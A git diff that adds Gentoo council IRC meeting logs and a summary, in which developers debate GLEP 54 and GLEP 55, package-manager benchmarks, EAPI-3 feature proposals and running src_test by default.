+20:31 < ciaranm> Cardoe: that's stage two, or possibly stage three if it's split in four
+20:32 -!- kICkar [n=didkoddd@unaffiliated/kickar] has joined #gentoo-council
+20:32 <@dberkholz> they're not really compared at all ... there's a document that has descriptions for both of them, and a problem or 2 picked out with each. there's no tie-in to the actual requirements of what this needs to do.
+20:32 < ciaranm> Cardoe: solving the entire live sources problem is a lot of work, and there're a lot of very non-obvious pitfalls. trying to do it all at once means it'll never get anywhere.
+20:32 <@dberkholz> it's clear to me that my mental picture doesn't match with what i actually requested
+20:32 <@Cardoe> ciaranm: fair enough
+20:33 <@Cardoe> ciaranm: so we're just going to say this addresses the -9999 ebuild
+20:33 <@Cardoe> Is Portage using PROPERTIES=live?
+20:33 < ciaranm> Cardoe: right. the glep *just* addresses the ordering problem, and nothing else.
+20:34 < ciaranm> PROPERTIES=live isn't necessarily bad. it's just not related to what the glep's trying to solve.
+20:34 <@Cardoe> ciaranm: well, we could say that if you make a -scm.. you have to put PROPERTIES=live
+20:35 <@Cardoe> in there
+20:35 < ciaranm> really... PROPERTIES=live is just a lousy way of sort of attempting some of part two or three...
+20:35 <@Cardoe> ciaranm: my idea here is let's get GLEP 54 into EAPI=3 and not make people wait until EAPI=4 to really work with it
+20:35 < dleverton> Is there any case when it would be sensible to have -scm without PROPERTIES=live, or vice versa?
+20:35 < ciaranm> dleverton: the PCI IDs list, arguably
+20:36 <@Cardoe> ok fine
+20:36 <@Cardoe> we'll come back to it
+20:36 <+tanderson> ciaranm: is that checking out a static revision?
+20:36 <@dev-zero> Cardoe: the original motivation behind EAPI=3 was to have it fast
+20:36 <@Cardoe> dev-zero: as is my motivation right now.
+20:36 <@dev-zero> Cardoe: things like G55, G54 and a couple of more issues which can take month are not suited
+20:36 < ciaranm> 54's a lot easier with 55, which puts it into "not fast" territory unfortunately
+20:36 <@Cardoe> Does any council member have a technical issue to GLEP 54?
+20:37 <@lu_zero> Cardoe the glep should be specified better
+20:37 <@lu_zero> but I said that already
+20:37 <@leio-dl> I need more time to be sure personally
+20:37 <@dev-zero> Cardoe: and I want a reference implementation
+20:37 <+tanderson> lu_zero: well, considering it's only addressing part 1, I'm not so sure..
+20:37 <@Cardoe> dev-zero: so do I
+20:37 < ciaranm> kdebuild-1's a reference implementation for both 54 and 55
+20:38 <@lu_zero> tanderson it's addressing the last part of something bigger
+20:38 <@lu_zero> you usually do not start from the roof
+20:38 < ciaranm> -scm is the first part, not the last part, because it's easy and doesn't need the other parts to be useful
+20:38 <+tanderson> lu_zero: well, I think the first part is getting correct ordering
+20:38 <@lu_zero> ciaranm it's uses are debatable at best
+20:38 <@dev-zero> lu_zero: I agree with tanderson
+20:39 < ciaranm> lu_zero: tell that to the people using -9999, -20099999 and so on
+20:39 <@lu_zero> ciaranm 9999 it's a value like others
+20:39 < ciaranm> lu_zero: which is the problem
+20:39 <@dev-zero> ok, I don't see that we get to an end here, do you?
+20:39 <@dertobi123> not really ...
+20:39 <@lu_zero> you can enforce ordering otherwise
+20:40 < ciaranm> i honestly don't see an end until there's a vote, because lu_zero isn't ever going to agree to -scm
+20:40 <@lu_zero> like preventing people using pkg-1234545677
+20:40 <@lu_zero> that said my only concern is getting more people agree on it, so if somebody adds more meat to glep 54 I won't be against it
+20:41 <+tanderson> lu_zero: what kind of meat?
+20:41 <@dev-zero> and I still fail to see what needs to be added
+20:41 <@lu_zero> dev-zero if I propose you to allow utf8 for names and latin numbers for version
+20:42 <@lu_zero> you'd consider me crazy
+20:42 < ciaranm> latin numbers for versions is doable
+20:42 <@dberkholz> back in 5, gotta take care of something.
+20:42 <@lu_zero> ciaranm anything is doable
+20:42 <@lu_zero> even utf8 numbers
+20:43 < ciaranm> lu_zero: actually no. i could list several proposals regarding versioning that are technically unimplementable.
+20:43 <@lu_zero> that alone should make you wonder if is worth it
+20:43 <@lu_zero> if there is an use
+20:43 < ciaranm> the use for -scm is replacing -9999 etc
+20:43 <@lu_zero> the use of utf8 names is to allow crazy names in programs
+20:44 <@lu_zero> that doesn't make it more agreable
+20:44 < ciaranm> lu_zero: how many programs can you think of that use utf-8 names?
+20:44 <@lu_zero> ciaranm I hope none
+20:44 < ciaranm> lu_zero: compare that with the number of packages for which people are shipping -scm ebuilds
+20:44 <@dev-zero> lu_zero: I think you're getting far away from the real problem
+20:44 <@lu_zero> ciaranm I hope none as well
+20:44 <@lu_zero> since means that either upstream or the packager is insane
+20:45 < ciaranm> lu_zero: there're lots of packages using -9999 or equivalent. most are masked, fortunately, but people find them useful.
+20:45 <@lu_zero> ciaranm they are masked since they are unstable by definition
+20:45 <@lu_zero> and they are scarce
+20:45 < ciaranm> lu_zero: yes. and? they're still there, so we should support them well.
+20:45 < ciaranm> lu_zero: look at how many scm-related eclasses there are in the main tree. are you saying they should be removed?
+20:45 <@lu_zero> we should support them within the limit of usefulness/effort ratio
+20:46 <@lu_zero> ciaranm they can be used even w/out requesting for fluid revisions
+20:46 < ciaranm> the only effort for -scm is discussing things with you... it's easy to implement
+20:46 <@lu_zero> see mythtv and their ustream
+20:46 <@lu_zero> upstram
+20:46 <@lu_zero> sigh I cannot spell
+20:47 <@Cardoe> lu_zero: I'm the MythTV guy..
+20:47 <@lu_zero> as a -9999 user I'll be glad to have something simpler
+20:47 <@Cardoe> Based on what GLEP 54 proponents are trying to say is
+20:47 <@Cardoe> let's that be the next step
+20:47 <@Cardoe> let us just get the basics down
+20:47 <@lu_zero> Cardoe IIRC you had to use constant revision sometimes
+20:48 <@Cardoe> yep
+20:48 <@Cardoe> But this GLEP won't address all uses of svn/git/cvs/bzr etc
+20:48 <@Cardoe> just the -9999 usage
+20:48 <@Cardoe> which I don't use
+20:48 <@lu_zero> right
+20:48 <@Cardoe> I'll have to write a new GLEP
+20:49 <@dev-zero> ok, result of this discussion?
+20:49 <@dberkholz> back
+20:50 <@dev-zero> dberkholz: right in time
+20:50 <@Cardoe> lu_zero: I say you and I work on another GLEP on top of this
+20:50 <@lu_zero> Cardoe agreed
+20:50 <@Cardoe> which brings up a point.. why aren't the EAPIs a GLEP?
+20:50 <@Betelgeuse> Cardoe: we tagged PMS last time
+20:51 < ciaranm> Cardoe: because we're lazy, and a PMS branch is easier
+20:51 <@Cardoe> Fair enough
+20:51 <@Cardoe> I like lazy
+20:51 <@lu_zero> thehe
+20:51 <@Cardoe> next item?
+20:51 <@lu_zero> everybody feels
+20:51 < ciaranm> otherwise we'd have to rst them for GLEPs as full proposals, and then work that into PMS as diffs
+20:51 < solar> remove keywords from ebuilds.
+20:51 < solar> ciaranm: can your pkg mgr handle that?
+20:51 < solar> ie. profiles/package.keywords
+20:52 <@dberkholz> ...?
+20:52 < ciaranm> solar: we don't use keywords from profiles at all currently. we could, easily enough, but it won't work for gentoo until gentoo-x86 is a tenth of its current size and using git instead of cvs
+20:52 < solar> it wont work?
+20:52 < ciaranm> it doesn't scale to what arch teams do
+20:53 < solar> it works today in everything else. I just want to make sure i don't cause any segvs
+20:53 -!- togge [n=togge@gentoo/contributor/togge] has quit [Remote closed the connection]
+20:53 < ciaranm> this was investigated three or four years ago... iirc agriffis an / or g2boojum
+20:54 < ciaranm> basically... the cvs tree is so big and slow, you'd never be able to commit anything because of conflicts if everyone's editing a single file all the time
+20:54 < solar> ciaranm: well the scaling thing does not really hold true anymore.
+20:54 < solar> and conflict is not any more of a problem than say ppl editing other package.
+20:54 <+tanderson> ciaranm: wouldn't you get merges rather than conflicts?
+20:54 < ciaranm> solar: honestly, i suggest you bring it up after gentoo's using git and lots of smaller independent repositories
+20:55 -!- togge [n=togge@212.247.117.70] has joined #gentoo-council
+20:55 <@Betelgeuse> Is this really something we need to discuss atm?
+20:55 < ciaranm> tanderson: if you're lucky
+20:55 < solar> files. Anyway. I plan to go down this route with a bunch of other ppl. So
+20:55 <@dberkholz> i've gotta head out in the next 5-10 min, so i'd like to get through the next topic as much as possible
+20:55 <@Betelgeuse> dberkholz: fine by me
+20:55 <@dev-zero> me too
+20:56 <@lu_zero> ok
+20:56 <@dberkholz> basically wrt glep 55, we really need the information from people that we requested at the last meeting and expected to hear back about a week ago
+20:56 <@dberkholz> so what's the deal?
+20:56 <@Betelgeuse> I can't benchmark something that's not there.
+20:56 <@Betelgeuse> Zac promised me two weeks ago to do it
+20:56 <@Betelgeuse> But never did it.
+20:56 <@dberkholz> alright
+20:56 <@Betelgeuse> So it seems I must implement it myself.
+20:56 <@lu_zero> did he tell something about it?
+20:57 <@Betelgeuse> lu_zero: See his mail on gentoo-council
+20:57 <@lu_zero> just that?
+20:58 <@dberkholz> Betelgeuse: ok, can you check back in with zac about that timeframe and drop a post to -council?
+20:58 <@Betelgeuse> lu_zero: yeah haven't heard anything yet since that
+20:58 <@dberkholz> it is still "this week" after all
+20:58 <@lu_zero> right
+20:59 <@Betelgeuse> My opinion is to approve 55 and put a GSoC project by an experienced dev to redesign the tree format that always uses .ebuild
+20:59 <@dberkholz> ciaranm: i was hoping to see some benchmarks from you. could you post them?
+20:59 <@Betelgeuse> Can actually nail down PMS and solve other long standing issues.
+20:59 <@lu_zero> I have to ask him something about multislot as well
+20:59 <@lu_zero> Betelgeuse would be interesting
+21:00 <@Betelgeuse> If this doesn't happen before we have a need for global scope changes we can fall back on 55.
+21:00 <@Betelgeuse> In the mean time.
+21:00 < ciaranm> dberkholz: just under 50% slowdown in metadata access times in the 'valid cache' case
+21:00 <@lu_zero> ciaranm something we could try ourselves?
+21:00 <@dberkholz> ciaranm: i'd really love to see the numbers on times for each case
+21:01 < ciaranm> dberkholz: for invalid cache cases you can't measure it since bash is a thousand times slower than using the cache
+21:02 < ciaranm> lu_zero: why? planning to benchmark it on an ssd just to screw with the results? :P
+21:02 <@lu_zero> ciaranm planning to read the patch and see how works
+21:02 <@dberkholz> ciaranm: hot cache, cold cache? what are the numbers in seconds?
+21:03 <@lu_zero> the more people trying the more shared is the decision upon it
+21:03 < ciaranm> dberkholz: hot vs cold doesn't make much difference to the ratio either, since with hot cache you're doubling the syscall overhead
+21:04 < ciaranm> dberkholz: numbers in seconds are "very small" to "double very small". it's when you multiply that by 10k it gets to be the problem.
+21:04 <@lu_zero> using a default set like xorg + kde + gnome would be a good benchmark
+21:04 <@dberkholz> in which situations will people be multiplying it by 10k?
+21:05 < ciaranm> dberkholz: you do 10k metadata lookups to do a pretend-install world
+21:05 <@lu_zero> even if the minimal set would be a portage or a system set
+21:06 <@dberkholz> we've gotta wrap this up
+21:06 <@dberkholz> next step is trying to get a portage implem & benchmarked
+21:07 <@dberkholz> let's get that and go from there
+21:07 <@dev-zero> but to make it clear: benchmark is not the main issue, it may just be another issue
+21:08 <@dev-zero> s/benchmark/performance
+21:08 <@lu_zero> dev-zero which is the other issue in your opinion?
+21:08 <@leio-dl> I think I was supposed to bring my technical objection to G55 to list?
+21:09 <@lu_zero> my main concern is least surprise/ease of use, then performance
+21:09 < dleverton> The other issue is whether the prosposed solution is insane or not.
+21:09 < ciaranm> the whole "having to open the ebuild" thing isn't even an issue if you stick with the EAPI= assignment restrictions i posted, since if you're ok to assume those restrictions you don't need to open the ebuild to check cache validity
+21:09 <@dberkholz> i really need to go now
+21:09 <@dev-zero> lu_zero: restrictions the various solutions imply
+21:09 <@leio-dl> I'm not even sure what's being talked about here
+21:10 <@dberkholz> should we close the meeting or is there another council member who wants to wrap up?
+21:10 <@dev-zero> let's close the meeting
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090326-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20090326-summary.txt
new file mode 100644
index 00000000..df6ec858
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090326-summary.txt
@@ -0,0 +1,63 @@
+Roll Call:
+===========
+Betelgeuse: here
+Cardoe: absent
+dberkholz: here
+dertobi123: here
+dev-zero: here
+leio: here
+lu_zero: here 
+tanderson(secretary): here
+
+Topics:
+===========
+    
+GLEP 55:
+    Petteri noted that portage had recently gotten support for both GLEP
+    55 and the parse-eapi proposal. Petteri will have benchmarks done by
+    the next meeting.
+
+EAPI-3 Proposals:
+    A call for objections to/questions about any of the various proposals
+    was asked for. What follows is a list of proposals to which objections were
+    raised or for which there are open questions as well as who raised the
+    points.
+
+    slot operator support:
+        leio, open questions, position pending on answers
+    default_src_install:
+        leio, open questions
+        dberkholz
+        dertobi123
+    doinclude:
+        dberkholz
+        leio
+    dosed:
+        dberkholz
+    unpack failing on unknown types:
+        dberkholz
+    docompress:
+        leio, needs to review proposal and prepalldocs
+        dev-zero, thinks it's useless
+    doexample:
+        dev-zero, thinks it should have -r if we have it at all
+    dohard being deprecated:
+        leio, thinks it should remain and have its bugs fixed.
+    disable-dependency-tracking:
+        lu_zero, possible breakage of configure scripts(mplayer & ffmpeg mentioned)
+    utility commands should die by default:
+        leio, open questions
+    ban || ( foo? ( . ) . ):
+        leio, sees no reason to ban something that might have some valid use cases
+
+    One part of the EAPI-3 discussion is whether to have variables that
+    behind-the-scenes control the default functions. The DOCS variable was
+    created so that a list of documentation to install can be passed to
+    default_src_install. A 4-2 vote approved the DOCS variable for use in
+    src_install. Specific details have not yet been worked out.
+
+Open Floor:
+===========
+
+Ned Ludd(solar) requested that the council discuss a migration of KEYWORDS out
+of ebuilds to be discussed at the next meeting.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20090326.txt b/xml/htdocs/proj/en/council/meeting-logs/20090326.txt
new file mode 100644
index 00000000..5787f16b
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20090326.txt
@@ -0,0 +1,399 @@
+16:01 <@Betelgeuse> so are we starting
+16:01 <@dberkholz> yep
+16:01 <@leio> where does that assumption come from
+16:01 <@dertobi123> heya
+16:01 <@lu_zero> apparently
+16:01 <@leio> ok, nevermind for now
+16:01 <@dberkholz> i was typing and was interrupted by a salad dish =P
+16:01 <@dev-zero> leio: what assumption?
+16:01 <+tanderson> mmmm, yummy
+16:01 <@dberkholz> council folks, speak up please
+16:01 < ciaranm> leio: if the assumption doesn't hold, you're into "stuff that doesn't work with existing EAPIs anyway" territory, and slot operator deps don't affect it
+16:01 <@leio> that >=foo/bar-2:= means 2, 3 or 4, but not 1
+16:01 <@dev-zero> dberkholz: another desert for me please
+16:02 <@dberkholz> tanderson: can you list anyone on council who hasn't spoken since 2000
+16:02 -!- psychoschlumpf [i=lars@unaffiliated/psychoschlumpf] has joined #gentoo-council
+16:02 <@dev-zero> leio: read what ciaran said completely :)
+16:02 < ciaranm> leio: if it doesn't, you can't use existing deps correctly anyway
+16:02 <@leio> There are two parts in there
+16:02 <@leio> >=foo/bar-2
+16:02 <@leio> and :=
+16:02 <@leio> Some foo/bar-2.0.1 might be SLOT=1
+16:02 <@dev-zero> leio, ciaranm: I guess we should do that discussion later
+16:03 <@leio> exactly, nevermind for now
+16:03 < ciaranm> leio: ...in which case you're in "doesn't work with existing deps anyway, so unrelated to the proposal" territory
+16:03 <+tanderson> dberkholz: Cardoe
+16:03 <+tanderson> I knew I was missing someone...
+16:04 <@leio> Cardoe had asked dang to proxy on #gentoo-desktop the other day
+16:04 <+tanderson> well, dang isn't here either...
+16:04 <@dberkholz> neither of them are on freenode
+16:04 <@lu_zero> hmm
+16:04 <+tanderson> dang it :P
+16:04 <@dberkholz> if anyone's got im handy, please ping
+16:05 <@dev-zero> is there a way we can store that info on a voluntary basis in the ldap?
+16:05 <@dberkholz> we already do
+16:05 <@dev-zero> ah, ok
+16:05 <@dberkholz> gentooIM or so
+16:05 <@dev-zero> then I have to go updating my info there :)
+16:05 <@dberkholz> so let's get rolling
+16:06 <@dberkholz> EAPI=3. i'd like to see people mention any specific features they've got questions for or want to reject entirely
+16:06 <@dberkholz> i think only dev-zero and i have done this on the list
+16:06 <@leio> the SLOT operator stuff is hazy for me. A nice concrete user facing documentation blurb would be appreciated
+16:06 < ciaranm> dberkholz: Betelgeuse did too 15m or so ago
+16:07 <@dberkholz> ah, thanks. been eating dinner and all that.
+16:07  * solar requests that you start at the top of the draft vs the middle of it
+16:08  * dev-zero agrees with solar
+16:08 <@lu_zero> there is a quick link with the up to date list?
+16:08 <@dev-zero> see topic
+16:08 <+tanderson> solar: yep, nice for summaries as well
+16:08 <@dberkholz> ok, sure.
+16:08 <@leio> what, we are going to go through all of them again in a meeting?
+16:09 <+tanderson> dleverton had PMS copies available as well, since my computer is still struggling to compile texlive
+16:09 <@dev-zero> we can group them by priority
+16:09 <@dberkholz> i've got an idea
+16:09 <@Betelgeuse> The only thing I see useful to do here is to assign people to take care of getting them implemented
+16:09 <@Betelgeuse> I can take a couple
+16:09 <@dev-zero> I already started :)
+16:10 <@dberkholz> does anyone who hasn't posted on the list have questions or problems with specific features that they want to say here?
+16:10 <@lu_zero> ...
+16:10 < solar> yes
+16:10 < solar> but towards the end
+16:10 < hwoarang> not right now :)
+16:11 <@dev-zero> ok, pkg_pretend and the USe dep modifiers have already been accepted
+16:11 <@leio> yes, but details on list after meeting would be best, sorry for not doing it before-hand.
+16:11 <@dev-zero> slot operator support as implemented in kdebuild ... leio has a question there
+16:12 <@dertobi123> well, probably yeah ... but i wasn't able to do so on-list before the meetingt
+16:12 <@dertobi123> meeting*
+16:12 <@dberkholz> hmm
+16:12 <@dev-zero> leio: your question is about certain use cases, right?
+16:12 <@dberkholz> can we collect a specific list of features that people have questions/problems with now, and not actually discuss the questions?
+16:12 <@leio> yes, and actual examples and user documentation
+16:12 <@dberkholz> that way we at least know what's blocking
+16:13 <@dev-zero> dberkholz: ok, let's first do that and then discuss the concrete questions right afterwards
+16:13 <@lu_zero> or that there are enough features worth an eapi bump
+16:13 <@dev-zero> lu_zero: do you doubt that?
+16:13 < ciaranm> user documentation for slot operator deps is easy. just tell people that if they build+run dep on something that has multiple slots, they should append either :* or :=.
+16:13 <@leio> regarding dohard deprecation I'm reserved about. It should be handled when possible and the portage bug needs to be fixed anyhow (actual packages are getting lots of copies of the same file because hard links are lost, irrelevant to dohard)
+16:13 <+tanderson> I could do devmanual patches easily for docs
+16:14 <@dberkholz> whoever has a feature they have a question/problem with, just say to me (dberkholz: $feature) what the feature is, so tanderson can collect a list of what feature and who
+16:14 <@lu_zero> dev-zero after discussion we can either wait or go on with what is already accepted
+16:14 <@dev-zero> tanderson: that'd be great because I don't want to touch that thing
+16:14 <@dev-zero> leio: I don't think there's a good way to handle it properly
+16:14 <+tanderson> dberkholz: it's easier to prefix that with tanderson since then I'll just look for highlights :)
+16:15 <@dberkholz> either way. already one false positive
+16:15 <@dberkholz> you've got 5 minutes =P
+16:15 <+tanderson> *cricket* :P
+16:15 < hwoarang> dberkholz: doinclude seems useless to me
+16:15 <@leio> Are we talking about open questions about a feature, or rejections too? ;p
+16:16 <@dev-zero> leio: both
+16:16 <@leio> like I'm clear on some of them but definitely rejecting
+16:16 <@lu_zero> which ones?
+16:16 <@dev-zero> dberkholz: mind posting yours too?
+16:16 <@leio> tanderson: slot operator support (open questions, might be against depending on the answer to those)
+16:17 <@leio> tanderson: default src_install (there are already open questions still there per dev-zero's summary - same thing)
+16:17 <@Betelgeuse> I wonder if the slot operator stuff would better be postponed to go in with labels.
+16:17 <@Betelgeuse> ciaranm: Does that make sense^?
+16:17 < ciaranm> Betelgeuse: labels solve a different problem
+16:17 <@lu_zero> tanderson I'm against disable-dependency-tracking in econf by default
+16:17 <@dberkholz> tanderson: default src_install; doinclude; dosed
+16:18 < ciaranm> Betelgeuse: you *could* co-opt it into labels, but it's messy, because labels work on groups, and operators work on individual things
+16:18 <@dberkholz> tanderson: unpack should fail on unknown types
+16:18 <@dberkholz> i think that's it off dev-zero's list
+16:19 < ciaranm> lu_zero: what's wrong with disable-dependency-tracking? not heard any objections to that before
+16:19 <@leio> tanderson: docompress (I need to review what prepalldocs does and compare it closer to the proposed thing, so not open question, just needing more time to be sure)
+16:19 <@lu_zero> ciaranm there are configure script rejecting it
+16:19 <@dberkholz> remember, we're not discussing yet... hold off till we're done
+16:19 <+tanderson> leio: not sure what to classify that one as then
+16:19 <@lu_zero> (sadly)
+16:19 < ciaranm> lu_zero: which ones, and why?
+16:19 <@lu_zero> hand made ones
+16:19 <@leio> tanderson: ignore I guess unless I bring up on ml
+16:19 <@Betelgeuse> lu_zero: Well just have a way to disable the behaviour
+16:20 <@dev-zero> tanderson: docompress ... I still think it's useless
+16:20 <+tanderson> leio: ok
+16:20 <@dev-zero> tanderson: doexample must have -r if at all
+16:20 <@lu_zero> Betelgeuse ok
+16:20 <@dertobi123> tanderson: default src_install; doexample
+16:21 < dleverton_> Are hand-made configuration scripts going to accept the arguments that econf already passes?
+16:21 <@lu_zero> dleverton_ yes
+16:21 <@leio> tanderson: regarding "Limit values in $USE to the ones in $IUSE" I need to just educate the developers about what LINGUAS is and isn't better.
+16:21 <@dberkholz> not all of them. i've got examples
+16:21 < ciaranm> lu_zero: there're hand-made configure scripts that take everything econf passes but not disable-dependency-tracking? examples please
+16:21 <@lu_zero> ffmpeg ?
+16:21 <@lu_zero> mplayer ?
+16:23 < ciaranm> they take weird stuff we already pass like --host and --localstatedir, but barf on --disable-dependency-tracking?
+16:23 <@dberkholz> anyone still got things to list to me / tanderson ?
+16:23 <@lu_zero> anyway if econf is tailed to work with autotool generated configure
+16:23 <@leio> tanderson: Deprecate "|| ( foo? ( . ) . )" in depend  -- should not need an EAPI rule to ban it completely to avoid mis-use, and I see no reason to start banning various specific DEPEND constructs and be required to parse for all the EAPI rejected stuff and so on, while there might be 1-10% valid use cases
+16:23 <@lu_zero> and is stated
+16:23 <@lu_zero> I'm fine with adding them
+16:23 < ciaranm> econf already passes autotools-specific weirdness
+16:23 <@leio> tanderson: dohard - should remain and bugs fixed instead imho
+16:23 < ciaranm> leio: banning it across EAPIs is a clean way of getting rid of it. and there are no valid use cases.
+16:24 < ciaranm> dohard is probably unfixable
+16:24 <@dev-zero> ciaranm: it is
+16:24 <+tanderson> leio: as far as I'm aware there have been no correct usecases for || ( foo? ( . ) . )
+16:24 <@leio> tanderson: doinclude - mostly unnecessary . Might be interesting for the potential +x removing bit, but build systems should install them properly really
+16:25 <@leio> tanderson: .xz support - never heard of what it is and it doesn't appear to be a mature packing format yet. Does it mean portage will have to rdepend on the unpacking tool of it?
+16:25 <@dev-zero> leio: no, it doesn't mean that
+16:25 <@leio> tanderson: --disable-dependency-tracking and --enable-fast-install -- would be nice, but some scripts don't take them and fail
+16:25 < ciaranm> leio: deps for .xz things are like deps for .rar, which unpack already does
+16:26 <@dev-zero> btw, it has been requested that .xpi gets added to the new extensions unpack supports
+16:26 <@leio> package needs to DEPEND on the unpacker? Fine.
+16:26 <@lu_zero> and xpi is stable and widespread
+16:26 < ciaranm> what unpacks xpi, and how horrid is its interface?
+16:26 <@leio> tanderson: utility commands should die -- documented open questions
+16:26 < psychoschlumpf> isnt --enable-fast-install enabled per default for autoconf configure scripts
+16:26 <@lu_zero> ciaranm zip
+16:26 <@dberkholz> can anyone speak up now if they haven't yet said they have issues with EAPI=3 features?
+16:27 < ciaranm> xpi's easy enough then, so i have no opinion on it
+16:27 <@leio> tanderson: "provide ebuilds a way to differentiate between updates and removals" -- seems to duplicate REPLACING_VERSIONS
+16:27 <@dberkholz> tanderson: you have a list of features now?
+16:27 < ciaranm> leio: uh, that *is* REPLACING_VERSIONS
+16:27 <@dev-zero> jup, my bad, sorry
+16:27 <@lu_zero> then it's a dupe
+16:27 <@leio> sorry, I'm going by dev-zero list
+16:27 <@dev-zero> leio: no problem, my fault
+16:27 <@dberkholz> the description needs changing, i guess
+16:28 <@dev-zero> I'll do that after the discussion to not even confuse people even further ;-)
+16:28 <@leio> lots of the stuff at the end seems to have unclear things
+16:29 <@dev-zero> leio: which ones=
+16:29 <@lu_zero> leio you mean "Non-fast Features"
+16:29 <@dev-zero> ?
+16:29 < ciaranm> leio: go by the pms draft for clear specifics
+16:29 < solar> If you are at the end. Then Non-fast Features -> src_test() listed is a no go.
+16:29 <@leio> nah, I think just one or two of the stuff before non-fast features had mentioned open questions too.
+16:30 <@leio> as for non-fast features
+16:30 <@dev-zero> solar: that's why it's non-fast, not considered for eapi-3 unless someone explicitly asks for it
+16:30 <@dev-zero> (should have chosen a better title though)
+16:30 <@leio> most of them have no description in dev-zero summary
+16:30  * ciaranm asked for it, on the grounds that src_test is useless without it
+16:30 <@leio> regarding
+16:30 <@leio> src_test run unless RESTRICTed or explicitly disabled by the user
+16:30 <@leio> completely against it, in any form
+16:30 <@lu_zero> ciaranm src_test should be triggered by repoman
+16:30 <@Betelgeuse> ciaranm: well I do have arch teams using src_test to catch stuff so it's not useless
+16:31 < solar> well as stated. The core problem there is if $CBUILD != $CHOST
+16:31 <@dberkholz> ok, let's skip non-fast things in the interest of getting this in the tree by the end of april
+16:31 <@Betelgeuse> ciaranm: probably could be more useful of course
+16:31 < ciaranm> lu_zero: yes, because that works *brilliantly* for detecting failures on user systems.
+16:31 < ciaranm> solar: ebuilds don't support cross compiling, so it's not an issue
+16:31 <@dberkholz> sarcasm not necessary...
+16:31 <@lu_zero> ciaranm user system having src_test enable is a failure by itself
+16:31 <@lu_zero> since the time and resources needed by certain testsuites
+16:31 < ciaranm> lu_zero: no, it's a basic sanity feature. for those certain test suites you can override it.
+16:31 <@Betelgeuse> If we were to enable to now, my bet would be that most users would just disable it.
+16:31 <@dev-zero> lu_zero: that's a different issue
+16:31 <@leio> ok, now what?
+16:32 <@lu_zero> ciaranm do you really use src_test on your systems?
+16:32 <@Betelgeuse> Then they won't enable it when it's actually good to enable.
+16:32 < ciaranm> lu_zero: yup
+16:32 <+tanderson> lu_zero: I use it on my system, works fine
+16:32 < ciaranm> lu_zero: as does everyone else running paludis
+16:32 < dleverton_> lu_zero: in the same way that having cmake installed or using live ebuilds is a failure?
+16:32 <@leio> lets not discuss src_test further please. It is not feasible to enable it by default this year
+16:32 <@lu_zero> ciaranm and you do not have failures?
+16:32 < ciaranm> lu_zero: i do. EAPI 3 would fix this.
+16:32 <@lu_zero> dleverton_ ciaranm said there are so...
+16:32 <@dev-zero> hehe, touché :)
+16:33 <@lu_zero> ciaranm I don't see why
+16:33 <@dberkholz> tanderson: i'm still waiting for you to tell us that you have a list of features with people who have questions etc
+16:33 < ciaranm> lu_zero: if it were on for EAPI 3, any src_test failure that made it to the user would be a genuine failure. right now, half of test failures are just caused by lazy developers.
+16:33 < dleverton_> lu_zero: ciaranm said there are what so what?
+16:33 <@lu_zero> make test is used by upstream
+16:33 < solar> ok well the real world includes things like cross compiles. So in the case of $CBUILD != $CHOST src_test() can and should not be run.
+16:33 <@lu_zero> dleverton_ not just me apparently
+16:33 <+tanderson> dberkholz: I can't write that up while the meeting's going on...too many people and too many proposals
+16:33 < dleverton_> lu_zero: I can't understand a word you're saying now.
+16:33 <@dev-zero> tanderson: how much off-time you need?
+16:34 <+tanderson> dev-zero: ~5-10 minutes maybe
+16:34 <@dberkholz> tanderson: now you understand the challenge when i was trying to be secretary too =)
+16:34 < ciaranm> solar: so users who do cross-compiling can turn it off, along with all the other things they need to do to get cross-compiling to sort of work
+16:34 <+tanderson> dberkholz: heh, indeed
+16:34 -!- NeddySeagoon [n=NeddySea@gentoo/developer/NeddySeagoon] has joined #gentoo-council
+16:34 <+tanderson> dberkholz: for now I can give you a list of things that need discussing so it can be done one at a time though
+16:34 < solar> ciaranm: no reason to break stuff that works now for people
+16:34 <@leio> ciaranm: for cross-compiling to work they just cross-compile, there's nothing else to do beside fix bugs...
+16:35 <@dberkholz> tanderson: ok. all in one line, please, so it doesn't get broken up. then i'll start at the beginning
+16:35 < solar> if people want and have the spare cpu and are the type to fix stuff. They can enable what they want.
+16:35 < ciaranm> solar: it's an easy change for people who've already made large changes for cross-compiling to make one more small change
+16:35 < solar> vs us being broken by default
+16:35 < ciaranm> leio: ebuilds don't support it, though, except by fluke
+16:35 <@leio> FEATURES=test on by default is completely unfeasible
+16:35 < dleverton_> If it would really make people happy, portage could easily disable tests automatically in that case.  PMS already doesn't cover cross compiling, so no need to mention it there.
+16:35 <@leio> and as far as I'm concerned not a thing for an EAPI point
+16:36 <@dertobi123> leio: fully-agreed
+16:36 < ciaranm> leio: explain why please, avoiding any issue that has previously been shown to be false
+16:36 < solar> our users are not an excuse for upstreams often buggy test suites. but that is a diff story.
+16:36 <@dev-zero> ok, can we stop src_test discussion _now_ ?
+16:36 <@leio> if a package manager wants to give users pleasures of uninteresting subtle failures due to bugs in the tests themselves, and increase the compile time from minutes to days for some stuff, that's their business
+16:37 < ciaranm> leio: sorry, already debunked as being utter nonsense. please at least read the discussion we had.
+16:37 <@leio> it's not an EAPI feature what a package manager or profiles considers a default FEATURES
+16:37 < ciaranm> leio: also already debunked
+16:37 < solar> I read it and in no way did you debunk it. you dismissed it
+16:37 <@leio> I'm done with src_test for today.
+16:37 <@Betelgeuse> stop
+16:37 <@Betelgeuse> I don't see this going anywhere useful atm
+16:38 <@dev-zero> me neither
+16:38 <+tanderson> slot operator support(leio questions), default src_install(leio, open questions), disable-dependency-tracking(lu_zero), unpack fail on unknown types(dberkholz), doinclude( dberkholz ), doesed( dberkholz ), docompress(dev-zero+leio), doexample(dev-zero), limit values in $use to $iuse(leio), deprecate || ( foo? ( . ) . )(leio), dohard(leio), doinclude(leio), fast-install(leio)
+16:38 <@Betelgeuse> There's nothing new here.
+16:38 <@dertobi123> Betelgeuse: exactly
+16:38 < ciaranm> it's not going to go anywhere useful until people read the frickin' discussion
+16:38 <@dberkholz> aha, there we go
+16:38 < solar> so drop it from the draft plz then
+16:38 <@dev-zero> solar: will do
+16:38 < ciaranm> solar: it's not in the draft
+16:38 < solar> thanks. have a nice day *
+16:38 <@dertobi123> tanderson: hrm, you missed my comment? ;)
+16:38 <@dberkholz> the first thing on the list is slot ops. leio, you said you'll post to the list about that?
